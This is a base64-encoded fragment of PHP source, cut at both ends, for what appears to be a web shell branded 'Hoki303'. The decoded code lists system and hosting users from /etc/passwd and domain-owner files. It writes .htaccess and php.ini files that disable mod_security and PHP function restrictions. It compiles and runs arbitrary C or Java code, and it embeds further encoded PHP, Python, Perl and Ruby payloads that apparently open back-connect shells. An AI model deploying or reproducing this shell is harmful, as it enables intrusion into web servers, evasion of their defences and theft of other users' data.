xjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udCI+VXJsOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJzaXRlLmNvbSIgbmFtZT0ic2l0ZSIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvP
jwvZm9ybT48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k5J10pICYmICRfUE9TVFsnaG9raTknXSA9PSAnPj4nKXsKaWYoIV9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewokc2l0ZSA9IHRyaW0o
JF9QT1NUWydob2tpNyddKTsKJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlciA9ICIiOwppZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3R
pb25fZXhpc3RzKCJmaWxlb3duZXIiKSl7CglpZigkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzL3skcmVwfSIpKSl7CgkJJHVzZXIgPSAkdXNlclsnbmFtZSddOwoJfQp9ZWxzZXsKCWlmKF9ob2tpX2Nhbl
9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR1c2VyID0gaG9raUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRyZXApOwoJfQp9CmlmKCFlbXB0eSgkdXNlcikmJiR1c2VyIT0ncm9vdCcpewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+P
HRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskdXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRk
PjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZSB7ZWNobyB
fX3ByZSgpLic8Y2VudGVyPjxiPk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkgT3IgRGlzYWJsZSBGdW5jdGlvbnMgaXMgbm90IE5PTkUuLi48L2I+PC9jZW50ZXI+Jzt9Cn1lbHNlewokc2l0ZSA9IHRyaW0oJF9QT1NUWydob2tpNyddKTsKJHJlcC
A9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZXggP
SBleHBsb2RlKCI6IiwkYm96KTsKaWYoJGV4WzBdID09ICRyZXApewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0
ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2x
vcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7YnJlYWs7fX19fX0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTUnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpNSddKSl7CmlmKCFfaG9raV9maW
xlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwokaSA9IDA7CndoaWxlICgkaSA8IDYwMDAwKSB7CiRsaW5lID0gQHBvc2l4X2dldHB3dWlkKCRpKTsKaWYgKCFlbXB0eSgkbGluZSkpIHsKd2hpbGUgK
Gxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7CmVjaG8gJHZsLiJcbiI7CmJyZWFrO319JGkrKzt9Cn1lbHNle2VjaG8gX19wcmUoKTsKJHVzZXJzID0gX2hva2lfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOwpmb3JlYWNo
KCR1c2VycyBhcyAkYm96KXsKJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsKZWNobyB0cmltKCR1c2VyWzFdKS4nPGJyPic7fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTQnXSkpewplY2hvIF9fcHJ
lKCk7CmlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpe2VjaG8gX19yZWFkX2ZpbGUoIi9ldGMvcGFzc3dkIik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpewpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JH
VpZCsrKXsKJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKaWYoIWVtcHR5KCRhcmEpKXsKd2hpbGUobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsKZWNobyAiJHZhbDoiOwp9ZWNobyAiXG4iO319Cn1lbHNle19fYWxlcnQoJ2Zha
WxlZC4uLicpO319CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kyJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTInXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBLaXNlIFJ5b3VuaSBhbmQg
SG9raTMwM1xuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjLS0tLS0tRW5naW5lIE9mZlxuU2VjLS0tLS0tU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGVyPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIEFwYWNoZSBjcmV
hdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pJiYgaXNzZXQoJF9QT1NUWydob2tpMSddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwic2FmZV9tb2RlPU9GRl
xuZGlzYWJsZV9mdW5jdGlvbnM9QnlQYXNzZWQgQnkgS2lzZSBSeW91bmkgYW5kIEhva2kzMDMiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TV
FsnaG9raTMnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IEtpc2UgUnlvdW5pIGFuZCBIb2tpMzAzXG48RmlsZXMgKi5waHA+XG5Gb3Jj
ZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPlxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGV
yPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIExpdGVzcGVlZCBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmVjaG8gIjxicj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19nZXRfcmVzb3VyY2UoJGNvbnRlbnQpewpyZX
R1cm4gQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJGNvbnRlbnQpKTsKfQpmdW5jdGlvbiBfX3dyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7CmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9P
WZhbHNlKSByZXR1cm4gdHJ1ZTsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYmNpbml0KCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKJHJlcyA9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsgU3Vj
Y2Vzcy4uLiEgXTwvZm9udD4iOwokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7CmlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CmlmKCRldmFsQXJndW1lbnR
zIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7CmlmKCRldmFsVHlwZT09ImMiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKJHVuaXEgPSBzdW
JzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuYyI7CiRwYXRoID0gJGZpbGVuYW1lOwppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpewokZXh0ID0gKCRHTE9CQUxTWydzeXMnXT09J3dpb
icpPyAiLmV4ZSI6Ii5vdXQiOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwokZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOwokY21kID0gImdjYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKaG9raUV4KCRjbWQp
OwppZihpc19maWxlKCRwYXRocmVzKSl7CmlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKaG9raUV4KCRjbWQpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aHJlcyk7Cn1lbHN
leyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRoKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp9CnJldHVybiAkcmVzOwp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3
dyaXRhYmxlKCR0bXBkaXIpKXsKaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CiRjbGFzc25hbWUgPSB0cmltKCRyWzFdKTsKJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsKfWVsc2V7CiR1bmlxID0gc3Vic
3RyKG1kNSh0aW1lKCkpLDAsOCk7CiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOwp9CiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7CmlmKF9f
d3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRjbWQgPSAiamF2YWMgIi4kZXZhbE9wdGlvbnMuJHBhdGg7Cmhva2lFeCgkY21kKTsKJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2h
tb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwpob2tpRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbm
soJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGhva2ljb25uZWN0KCl7Cmhva2loZWFkKCk7CiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S
1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08z
T0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2F
HUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUU
MwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsS
HNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNG
b3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVV
YRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZE
N2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK
0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7CiRweXRob249InBWUnRUOXN3RVA2Y1N2MFB4cHRXUjgwTTdZWTB3WUpVUVpqUUJsUnRwMzBBVnFYT3BZbVdPcEh0UVBuQ2I1
L3RKRzFBSFVLYXFyYStWOTl6OTV6ZjdlMlhVdXd2VXI0UC9CNFZqeXJKZWJlVHJvcGNLQ1RBaytXaUVEa0RLYjFjZXZKUmYzUDJCNVNuMGhWME80V1BjYmVUMk44SVlpUVR5RExDM0tOdXh6RngvamFlanZNQ09HR2U5ZkZub3RUWlZaU1g2cG5UeFR
nd2FoQmlsenJsTDdXdXZrbUFLZ1ZIUmsycmxGUkFHQkczMzZoMHVwWnFWU2ppVXVBc2o0RDBTaFYvL05MVGVTb0lJVk5wem1zTWFZeHlTWG00Z2owZmM0V056b2w5UnVNMEE1NFRjN3VqUFhSakZLd0loclZ0M0N5WVhQcHJCV0oxUEo0Ty9ONzc4YS
t6azk1eGJkV3FZOXR5bWFDUEtmcjZBZmVsRWlSMit4aWR0SVhoVmpJWFFTYkJGdkNRNk51UjZhQVZIU1VlcTRNamRHa0MyRDBaSEF3L3V6UUNDeEZiaU5nVzY4Q2FRYUZxL3lLVXN0STJ1UjJEV1dNandqMDVxRFhPd2hkQUpZU0NKUVN6NkJhUm05K
zM4cTd2WWs5NGNSWXVwWEc0K0haMVBRbE9SOVBBcmVOMHFrV1RvKzVsRWFxRXBqSktCVm5RcGNqTGdneGNkK05rbXNtU0Y5YkdxRWNKUENML21tRGoxOEtpOHhsK1dWWUt0MTFKcVZESUk0dFVudzNXT3J1UktrZWJCOVhrT2crMTFIQ2txZUJvU3o1
OHkzRmZGNzhFeFI0TXovQ0ozb21scjVsQlE3RzgxMHRWOVhYcCt2N1E3b2UvdkJuY2RUdVF0U3lmMmhZbjBZZWhkZEdWd0RwVnVodG02Vkt1U0tGUDBxKzJrVlovcEpaRzUvT0xxMkJXcnlxZFhwOStuMDluazJCMGFXSTBUR1VzZWJFSm1GNy9tQnV
2ZHN4OEV2eWNCcU96czRsbkxuMVp2YVNhd1JFaCtJRGFEL1lLT3dCSnMxVHZBaWVIUmpMTTFDc2Z1cjd1QWpQRXN5dlQ0cUI1UjZqTUFBcUxiVHU4bmF2WFVJRGdKelRLNGhETklGeWhxWmt2ZXRJVDJNMkpMU0ZlQzhlYnAyRjNsczNEOEt3WmRtQU
dKdExFelRrSHBnaEo2bWJzeG5uNEJwenkvM0MrRnY1R25OTDlDdz09IjsKJHBlcmw9ImxaTFJqcE5BRklhdjI2VHZNT0pzQzhrWVdyMWJwSkZRM0RSclM4T3dHbU9Wc1BTc1RLUURnVm0zbSs3MjJaMEJWaWZHR0wwNzU1L0RkK0FibmoremI1dmF2b
WJjQnY0ZFZWQVhvK0Z0QTJnWm5wL1RNdnNHd2hrTmNkbTQrRXVvcWlaM0RUaFVaUzFRSEVRcjl5Q2czanNiT25Nblc3ejVzTmpPSjA1L0xrT25KVGM1ZXNFTStUUzdNUlhxdExmdlpNeXNZNHM3ODhNVjNRVCtHYkl2RGVkUkxoSHVWeEJWWFlyeStw
Nm5lekFuSXFzbWxpUTA3U3VabEl3M2I1UGxPb2pKbUliK1pVTGpLUEJXQkF2cjRXSEh3TFM2YlcrODZPSzk2ODZzNDJnNHdKV0xWZjlwK2xtZURob1FpbFpXQ2tmRGQ0a0NTU0FOa3lpNG9vRzNXRVJrcGtBRCtSRTdPYVRHMDkydVRoZzNjVVdXYXp
XU2VPdVBscloxVUxCR0FKZmpyL1EwelRLUW0zeENyVzY1SlByRU9DR3Z1RWxSRE9rZTBSeUtBcDIyM0NEVGRxaXNnQ01hTDVacllyd2UrNGJ6RklSWE1USG1laEpFVVovSTUrQUFHWkpxdGZWWlVUWmcrcGJURmZSbm9laGFJOGxhSjZsV0IyUUNUV1
VsTHdlSzVwZllsMzhTaS9PK25YVXRjeGtIa2FTaWxOcHlYUXBPM2QrY1lxYWZaeVhua0tuN3dhbWV0L2JvUDlnemUzdnpNVFVzNXlucDllbFI3MDlGZnhQNGY5NDZXM0JVK2t6NUp6MytBQT09IjsKJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6V
nhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hV
d2lESUljeG